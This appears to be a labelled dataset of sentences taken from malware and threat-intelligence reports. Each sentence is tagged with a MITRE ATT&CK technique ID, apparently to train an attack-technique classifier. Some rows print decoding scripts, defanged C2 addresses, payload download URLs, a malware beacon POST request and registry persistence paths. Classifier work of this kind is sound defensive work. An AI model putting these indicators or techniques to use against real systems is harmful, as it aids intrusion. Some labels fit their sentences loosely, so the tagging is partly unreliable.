"The following code snippet was used to decode strings within OopsIE:out = """" for e in obfuscated_string.split(""-""):    out += chr(int(e)-1)When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"This exception invokes the exception handler containing the HTTP communication code, allowing it to run",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Figure 1 – The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The first shellcode decrypts a further shellcode block,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"After decrypting the strings, they must be further decompressed using LZNT1",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"It then reads and decrypts the content between these values to yield an IP address as shown below:       ---- BEGIN SSH2 PUBLIC KEY ----Comment: ""rsa-key""AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=---- END SSH2 PUBLIC KEY ----     A Python script to decode strings encrypted with this technique is given in Appendix B – Python Scripts",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The main function of the Trojan interacts with its configured C2 server to obtain additional code to execute,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
“Knock” also appears in several strings inside the code of SpeakUp,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"It maintains both code and data in the raw, encrypted blobs of data to be decrypted and used at runtime, and hidden functionality that isn’t exposed until runtime",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In total, 29 unique CARROTBAT samples have been identified to date, containing a total of 12 confirmed unique decoy documents",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In this particular instance, the payload is encoded via base64, which certutil decodes",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The following function written in Python may be used to decode this file:def decode(data): 	out = """" 	c = 0 	for d in data: 		out += chr(ord(d)^c) 		c+=1 	return outOnce decoded it is discovered that this instance of OceanSalt attempts to communicate with 61.14.210[.]72 on port 7117",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The following code example shows the false flag being set (5 > 115) and the ETransaksi.diomadnfagaghagh method being called:  int num = 5; int num2 = 155; bool flag = num > num2; if (flag) {     <legitimate Sales System Application code>     }            else {     NewLateBinding.LateCall(ETransaksi.diomadnfagaghagh(), null, ""Invoke"", new object[]     {         null,         new object[0]     }, null, null, null, true);The payload uses this technique to run a chain of methods that eventually carry out its malicious task",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"(Source: Dell SecureWorks) Both the redirect code on the compromised site and the exploit code appear and disappear, indicating that the adversaries add the code when they want to leverage the SWC and remove the code when it is not in use to limit the visibility of their operations",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The backdoor will load the encrypted configuration file and decrypt it, then use Secure Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The image and table below illustrate TClient’s encrypted configuration that we decrypted (via Python code):  Figure 10,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Decrypted backdoor configuration Reverse analysis of TClient allowed us to determine how to decrypt the C&C information,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Further collaboration between FireEye as a Service (FaaS), Mandiant and FireEye iSIGHT intelligence uncovered additional victims worldwide, a new suite of tools and novel techniques","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
These parameters install it as a service,"['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"The malware operates on victims’ systems as a svchost-based service and is capable of downloading executables, changing its own configuration, updating its own binaries, terminating its own processes, and activating and terminating denial-of-service attacks","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
The malicious DLL is not a service DLL because it lacks ServiceMain(),"['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
The victims Data from Cadelle’s C&C servers shows that a large number of Backdoor.Cadelspy infections affected individual users of Iranian internet service providers (ISPs) and hosting services,"['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
The document brought Talos a new gift - a new version of ROKRAT,"['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"It downloads the file to the infected machine from the input URL using BITSAdmin, and is called every time the script attempts to download a file",['T1105 - Ingress Tool Transfer'],fine_tune
"The directory creation.  Downloading the Payloads The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files",['T1105 - Ingress Tool Transfer'],fine_tune
"A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018.   The script verifies all parts of the malware have been downloaded.  After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded.   One of the twelve download commands as detected by the Cybereason platform in same variant of Astaroth.   The twelve downloaded files",['T1105 - Ingress Tool Transfer'],fine_tune
"Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server",['T1105 - Ingress Tool Transfer'],fine_tune
One of the discovered config files contained a URL with an as yet unidentified md5: hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php Victim set #4 A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible for downloading and executing BlackEnergy,['T1105 - Ingress Tool Transfer'],fine_tune
"HighShell v5.0 explorer tab allows actor to navigate the file system The HighShell v7.1 variant from the data dump contains similar functionality to its predecessors and continued the tabular approach but expanded even further by splitting out the main functionality across multiple tabs, specifically “Command”, “Explorer”, “Upload”, “Download”, “Sql Server” and “Change Time”",['T1105 - Ingress Tool Transfer'],fine_tune
Network Downloader The Network Downloader functionality allows the actor to quickly upload user files from remote victim systems,['T1105 - Ingress Tool Transfer'],fine_tune
"The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and install a program from a remote C&C server",['T1105 - Ingress Tool Transfer'],fine_tune
"Symantec determined a more accurate picture of Buckeye’s targets by looking at where Buckeye remained active on the network longer than a day, deployed additional tools, and spread onto multiple computers",['T1105 - Ingress Tool Transfer'],fine_tune
"The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself",['T1105 - Ingress Tool Transfer'],fine_tune
"It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files",['T1105 - Ingress Tool Transfer'],fine_tune
"In this case, after the payload is delivered via an exploit the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account",['T1105 - Ingress Tool Transfer'],fine_tune
"Upon execution, the initialized file downloads multiple malicious payloads from remote servers",['T1105 - Ingress Tool Transfer'],fine_tune
"Figure 4 Microsoft Word attempting to download the remote template If the C2 server is active at the time the document is opened, it will successfully retrieve the malicious macro and load it in the same Microsoft Word session",['T1105 - Ingress Tool Transfer'],fine_tune
"If the C2 server is not active at this time, the download will fail and the victim will not receive a prompt to Enable Content as no macro is downloaded",['T1105 - Ingress Tool Transfer'],fine_tune
"attachedTemplate.dotm xxx 11/15/18 05:35 11/15/18 05:35 109.248.148[.]42    Table 2 Remote templates downloaded by Dear Joohn delivery documents As seen in Table 1, the delivery documents accessed their respective remote templates from four C2 servers at the following IP addresses:  185.203.118[.]198 145.249.105[.]165 188.241.58[.]170  109.248.148[.]42  These initial C2 IP addresses not only hosted the remote templates that subsequently load the first-stage Zebrocy or Cannon payloads, but the IP addresses also hosted the C2 server for the first-stage payloads themselves",['T1105 - Ingress Tool Transfer'],fine_tune
The POSHSPY backdoor is designed to download and execute additional PowerShell code and Windows binaries,['T1105 - Ingress Tool Transfer'],fine_tune
"The RAT, however, had a multitude of functionalities (as listed in the table below) such as to download and execute, compress, encrypt, upload, search directories, etc",['T1105 - Ingress Tool Transfer'],fine_tune
"The link provided in the malicious email led to a fake VPN Web Portal:  Upon logging in with the credentials provided in the email, the victim is presented with the following page:  The victim is asked to install the “VPN Client” (an .exe file), or, if download fails, to download a password protected zip (with the same .exe file inside)",['T1105 - Ingress Tool Transfer'],fine_tune
"This document was alleged to have been written by the Ministry of Reunification as demonstrated by the logo in the top left.Similar to the ""Golden Time"" campaign, this document exploits an EPS vulnerability in order to download and execute shellcode located on a compromised website:hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.pngThe fake image usage is a common pattern for this group",['T1105 - Ingress Tool Transfer'],fine_tune
The macro contains malicious code that attempts to download content from a remote server,['T1105 - Ingress Tool Transfer'],fine_tune
!DWN  Downloads a file from a specified URL,['T1105 - Ingress Tool Transfer'],fine_tune
"The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system",['T1105 - Ingress Tool Transfer'],fine_tune
"The DOC file contains an embedded OLE Object that, upon execution, triggers the download of an additional DOC file from the stored URL (seen in Figure 3)",['T1105 - Ingress Tool Transfer'],fine_tune
"Upon opening the malicious DOC attachment, an additional download is triggered from a stored URL within an embedded OLE Object (seen in Figure 4)",['T1105 - Ingress Tool Transfer'],fine_tune
Figure 8 shows the network communication of the Pause.ps1 download,['T1105 - Ingress Tool Transfer'],fine_tune
"I download my tools from GitHub, and so do my victims",['T1105 - Ingress Tool Transfer'],fine_tune
The “upload” command downloads files from the CnC and saves them locally in “C:\ProgramData“,['T1105 - Ingress Tool Transfer'],fine_tune
"Additional information In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers",['T1105 - Ingress Tool Transfer'],fine_tune
"It will:  Download and execute the backdoor component Replace the content of the downloader Mach-O executable with a decoy, either using a base64-encoded embedded file or by downloading it from the internet Open a decoy document (described later) Close the Terminal window that just opened  The decoy document replaces the downloader Mach-O file, which means the malicious executable is only present in the ZIP file now",['T1105 - Ingress Tool Transfer'],fine_tune
This file issued a GET request to download a malicious file from: hxxp://94.23.172.164/dupdatechecker.doc,['T1105 - Ingress Tool Transfer'],fine_tune
The .iqy files take advantage of Excel’s willingness to download and include the contents from a remote server in a spreadsheet,['T1105 - Ingress Tool Transfer'],fine_tune
"Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes",['T1105 - Ingress Tool Transfer'],fine_tune
"13 Copy file to adbFle.tmp, and upload it to the C2",['T1105 - Ingress Tool Transfer'],fine_tune
Both responses instruct the malware to download and load a remote plugin,['T1105 - Ingress Tool Transfer'],fine_tune
"During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample",['T1105 - Ingress Tool Transfer'],fine_tune
The purpose is to download and execute an additional payload hosted on a compromised website: NavRAT,['T1105 - Ingress Tool Transfer'],fine_tune
NavRAT is able to download and execute files located in the attachment of a received email,['T1105 - Ingress Tool Transfer'],fine_tune
"Figure 2 SYSCON network traffic witnessed during execution   Pivoting on the domain hosting the SYSCON sample, 881.000webhostapp[.]com, revealed a number of additional samples, including a sample of the KONNI malware family, and four 64-bit executable files belonging to the CARROTBAT malware family",['T1105 - Ingress Tool Transfer'],fine_tune
"CARROTBAT itself is a dropper that allows an attacker to drop and open an embedded decoy file, followed by the execution of a command that will download and run a payload on the targeted machine",['T1105 - Ingress Tool Transfer'],fine_tune
Delivery document The delivery document contains a macro that downloads an executable from a remote server,['T1105 - Ingress Tool Transfer'],fine_tune
Command_Down_exec: This command downloads and executes new modules.  It takes a url as the argument and uses that to download and execute files,['T1105 - Ingress Tool Transfer'],fine_tune
"Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes",['T1105 - Ingress Tool Transfer'],fine_tune
"After reestablishing access, the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used",['T1105 - Ingress Tool Transfer'],fine_tune
"The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries",['T1105 - Ingress Tool Transfer'],fine_tune
"The script self-scheduling, as well as the scheduling of a script that repeatedly attempts to download and execute the Revenge RAT binary, significantly contribute to the persistence of this infection",['T1105 - Ingress Tool Transfer'],fine_tune
"We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server.",['T1105 - Ingress Tool Transfer'],fine_tune
"certutil is a WIndows component that can download external content to the computer. In a typical attack, the criminals follow this paradigm",['T1105 - Ingress Tool Transfer'],fine_tune
The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables,['T1105 - Ingress Tool Transfer'],fine_tune
"The backdoor has the capability to download and upload files, execute shell commands, and update its configuration.",['T1105 - Ingress Tool Transfer'],fine_tune
BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
This most likely means there is some type of DLL hijacking going on by distributing a legitimate McAfee binary with MirageFox to load up the DLL properly into a legitimate looking process,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Whitefly has consistently used a technique known as search order hijacking to run Vcrodat.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"We mentioned earlier that due to the nature of the IE injection technique used by the HTTP-based backdoors, a number of C2 commands were cached to disk",['T1071 - Application Layer Protocol'],fine_tune
"And, according to the collected config files, the group upgraded their malware communications from plain text http to encrypted https in October 2013",['T1071 - Application Layer Protocol'],fine_tune
Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it   Figure 2: Configuration file that adds TCP tunnels and records desktop video Command and Control CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol,['T1071 - Application Layer Protocol'],fine_tune
The example C2s used by older variants of Comnie demonstrates this:  Figure 9 Old Comnie variants collecting C2 information Please refer to the Appendix for a script that may be used to decode C2 information from the older Comnie variants,['T1071 - Application Layer Protocol'],fine_tune
The URIs used in the HTTP requests are randomly generated,['T1071 - Application Layer Protocol'],fine_tune
"Table 2 Sandbox evasion checks in the C# variant of RogueRobin Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types",['T1071 - Application Layer Protocol'],fine_tune
Figure 2 Code that issues DNS query to gogle.co if a debugger is detected All DNS requests issued by RogueRobin use the built in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response,['T1071 - Application Layer Protocol'],fine_tune
"Character  Digit   h 0   i 1   j 2   k 3   l 4   m 5   n 6   o 7   p 8   q 9    Table 4 Character substitution used in RogueRobin The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands",['T1071 - Application Layer Protocol'],fine_tune
"The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests",['T1071 - Application Layer Protocol'],fine_tune
"Background From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server",['T1071 - Application Layer Protocol'],fine_tune
"Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server",['T1071 - Application Layer Protocol'],fine_tune
"11/1/18 sahro.bella7 trala.cosh2 Bishtr.cam47 Lobrek.chizh Cervot.woprov    Table 5 Gathered C# Cannon samples As mentioned in our initial blog, the actor controlled email address acting as the C2 was sahro.bella7[at]post.cz, but all previous samples of Cannon used sym777.g[at]post.cz",['T1071 - Application Layer Protocol'],fine_tune
"Even though Delphi Cannon uses POP3S and SMTPS for its C2 communications like Cannon, it is arguably easier to defend against as it uses an actor owned domain that defenders can easily block and not a legitimate email provider such as Seznam",['T1071 - Application Layer Protocol'],fine_tune
"The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28…) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings:  Figure 8 inf method used by Cannon When comparing the two Cannon variants, we found a method within a Delphi Cannon sample (SHA256: 5a02d4e5f6…) showing the use of Running place and Logical_Drivers as header strings to the system information it is collecting and sending to the C2 via email",['T1071 - Application Layer Protocol'],fine_tune
"The shellcode retrieves an additional payload by connecting to the following C2 server using DNS: aaa.stage.14919005.www1.proslr3[.]com Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode",['T1071 - Application Layer Protocol'],fine_tune
"Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4",['T1071 - Application Layer Protocol'],fine_tune
"The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload",['T1071 - Application Layer Protocol'],fine_tune
"Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as:  As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request",['T1071 - Application Layer Protocol'],fine_tune
Table 3: FELIXROOT backdoor parameters  Cryptography All data is transferred to C2 servers using AES encryption and the IbindCtx COM interface using HTTP or HTTPS protocol,['T1071 - Application Layer Protocol'],fine_tune
"http://www.cankayasrc[.]com/style/js/main.php http://ektamservis[.]com/includes/main.php http://gtme[.]ae/font-awesome/css/main.php  Recommendations for organizations Effective protection from targeted attacks focuses on advanced detective, preventive and investigative capabilities via solutions and training, allowing an organization to control any activities on their network or suspicious files on user systems",['T1071 - Application Layer Protocol'],fine_tune
"This information can then be transmitted to the attacker using protocols such as FTP, HTTP, and SMTP",['T1071 - Application Layer Protocol'],fine_tune
tfvn[.]com[.]vnshirkeswitch[.]netguideofgeorgia[.]orggulfclouds[.]sitejhssourcingltd[.]comkamagra4uk[.]compioneerfitting[.]compositronicsindia[.]comscseguros[.]ptspldernet[.]comtoshioco[.]comwww[.]happytohelpyou[.]inIP addressesThe following IP addresses have been observed to be associated with malware campaigns.112.213.89[.]4067.23.254[.]6162.212.33[.]98153.92.5[.]124185.117.22[.]19723.94.188[.]24667.23.254[.]17072.52.150[.]218148.66.136[.]62107.180.24[.]253108.179.246[.]13818.221.35[.]21494.46.15[.]20066.23.237[.]18672.52.150[.]218URLs:The following URLs have been observed to be associated with malware campaigns.https[:]//a[.]pomf[.]cat/http[:]//pomf[.]cat/upload[.]php,['T1071 - Application Layer Protocol'],fine_tune
"The initial DNS query sent by the payload to obtain the system specific identifier uses the following structure, which includes the current process identifier (PID) as the subdomain of the C2 domain: <current process id>.<c2 domain> The C2 server will provide the system specific identifier within the answer portion of the DNS response",['T1071 - Application Layer Protocol'],fine_tune
This command will automatically set the DNS type to use for actual C2   $showconfig Uploads the current configuration of the payload to the C2   slpx:\d+ Sets the sleep interval between outbound DNS requests   $fileUpload Downloads contents from the C2 server and writes them to a specified file    Table 3 Commands available to payload Campaign Analysis The following domains are configured within the payload to be used as C2s,['T1071 - Application Layer Protocol'],fine_tune
"If that HTTPS request is not successful, the downloader will issue an HTTP request",['T1071 - Application Layer Protocol'],fine_tune
"Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications",['T1071 - Application Layer Protocol'],fine_tune
The payload will construct a message that has the following structure that it will then send to the C2:   bye<char uuid[35]>d   The message above is sent via a simple HTTPS/HTTP POST request to the C2 server,['T1071 - Application Layer Protocol'],fine_tune
"As seen in the above request, the Trojan will generate a URL for its beacon with the following structure:http://<c2 domain>/chk?<hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run",['T1071 - Application Layer Protocol'],fine_tune
[1] https://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ [2] https://www.clearskysec.com/copykitten-jpost/,['T1071 - Application Layer Protocol'],fine_tune
"After the C2 information has been collected, BADNEWS leverages HTTP for communication with the remote servers",['T1071 - Application Layer Protocol'],fine_tune
"33 Download specified file to %TEMP%\up and execute it in a new process      During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP",['T1071 - Application Layer Protocol'],fine_tune
"Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports",['T1071 - Application Layer Protocol'],fine_tune
Deep Discovery Inspector protects customers from these threats via this DDI Rule:  DDI Rule 18 : DNS response of a queried malware Command and Control domain DDI Rule 15 : Many unsuccessful logon attempts (nbt_scan.exe) DDI Rule 38 : Multiple unsuccessful logon attempts (nbt_scan.exe)  TippingPoint customers are protected from these threats via these ThreatDV filters:  27218: HTTP: TROJ_RATANKBA_A Checkin 28219: HTTP: TROJ_RATANKBA_A Checkin 02 27220: HTTPS: TROJ_RATANKBA_A Checkin 27221: HTTP: Sundown EK Flash Exploit (SWF_EXPLOYT.YYRQ)  A list of related Indicators of Compromise (IoCs) can be found in this appendix,['T1071 - Application Layer Protocol'],fine_tune
"IcedCoffee is a fairly basic backdoor which uses WMI to collect a variety of system and user information from the system, which is then encoded with base64, encrypted with RC4 and submitted via HTTP POST to the C2 server",['T1071 - Application Layer Protocol'],fine_tune
It then calls the subfunction with the argument of 2 to get the string that it will use as the HTTP POST request,['T1071 - Application Layer Protocol'],fine_tune
"The resulting HTTP POST request looks like the following: POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1 Host: 185.25.50[.]93 Content-Type: application/x-www-form-urlencoded Content-Length: 21 porg=44908AE0524f422d We have not seen a C2 server respond to our requests during our analysis, however, we do know how the Trojan will parse the C2’s response for specific data",['T1071 - Application Layer Protocol'],fine_tune
Victim Registration SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C which is the compromised website of speakupomaha[.]com,['T1071 - Application Layer Protocol'],fine_tune
It uses the legitimate Naver email platform in order to communicate with the attackers via email,['T1071 - Application Layer Protocol'],fine_tune
Command & Control  The malware communicates with the Naver email platform in order to communicate with the operator,['T1071 - Application Layer Protocol'],fine_tune
It communicates with ftp.bytehost31[.]org via FTP for command and control (C2),['T1071 - Application Layer Protocol'],fine_tune
"Domains  http://mdzz2019.noip[.]cn:19931 http://mdzz2019.noip[.]cn:3654/  From my analyses, I was able to identify http://mdzz2019.noip[.]cn:19931 as its main C2 url.  This is a dynamic DNS, meaning the actual IP changes quite frequently",['T1071 - Application Layer Protocol'],fine_tune
"The Trojan uses HTTP POST requests, as seen in Figure 1 to send data to the C2 server, and GET requests to receive commands from the server, as seen in Figure 2",['T1071 - Application Layer Protocol'],fine_tune
Figure 1 XAgent macOS HTTP POST request  Figure 2 XAgent mscOS HTTP GET request The C2 URLs generated by XAgentOSX are very similar to those created by its Windows-based counterpart,['T1071 - Application Layer Protocol'],fine_tune
"Figure 3 Hardware ID used by XAgent to uniquely identify compromised hosts When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value",['T1071 - Application Layer Protocol'],fine_tune
"it operates over DNS traffic, but can also switch to encrypted channels such as HTTPS or SSL",['T1071 - Application Layer Protocol'],fine_tune
HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP,['T1071 - Application Layer Protocol'],fine_tune
Persistence is maintained through a Run registry key,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:  C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe  This step establishes the persistence of the malware across reboots on the endpoint Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint  The malware might perform this activity for a couple of reasons:  Establish persistence for itself on the endpoint Establish persistence of another component of the malware on the endpoint Update itself on endpoint after a separate updater component downloads the update from the control server  The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically: [HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Once the user clicks on the fake Adobe Flash Player installer, it will extract/create the following malicious payload into the Startup directory to maintain its persistence:",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
A new registry entry is created at HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Run\Graphics with a value of “C:\ ProgramData \ Initech \Initech.exe” /run.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"When each file is encrypted, registry keys are created under HKU\{SID}\Software\Microsoft\ RestartManager \ which are used to track metadata pertaining to the file being encrypted, such as owner, sequence, session and file hash",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"When the .lnk file is initialized, it spawns a CMD process",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"We have covered recent FIN7 activity in previous public blog posts:   FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings  FIN7 Evolution and the Phishing LNK  To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence  The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
The .zip archive attached to the email contains a Windows shortcut (.lnk) file with the Microsoft Internet Explorer logo,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Clicking on the shortcut ultimately leads to Backdoor.Pirpi being downloaded and executed on the affected computer,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"Additionally, in the event Kaspersky is detected, the malware will immediately run the ‘Conime.lnk’ shortcut file in a new process after it is created",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
This spawns the hidden embedded malicious LNK file in the document,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"Figure 3: FIN7 phishing lure persistence mechanisms Examining Attacker Shortcut Files In many cases, attacker-created LNK files can reveal valuable information about the attacker’s development environment",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
These files can be parsed with lnk-parser to extract all contents,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
The LNK file is finally used to identify a third file: a ZIP file,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
The LNK file is moved to the startup directory,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
This shortcut file points to the path of the previously written ‘Applet.cpl’ file,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
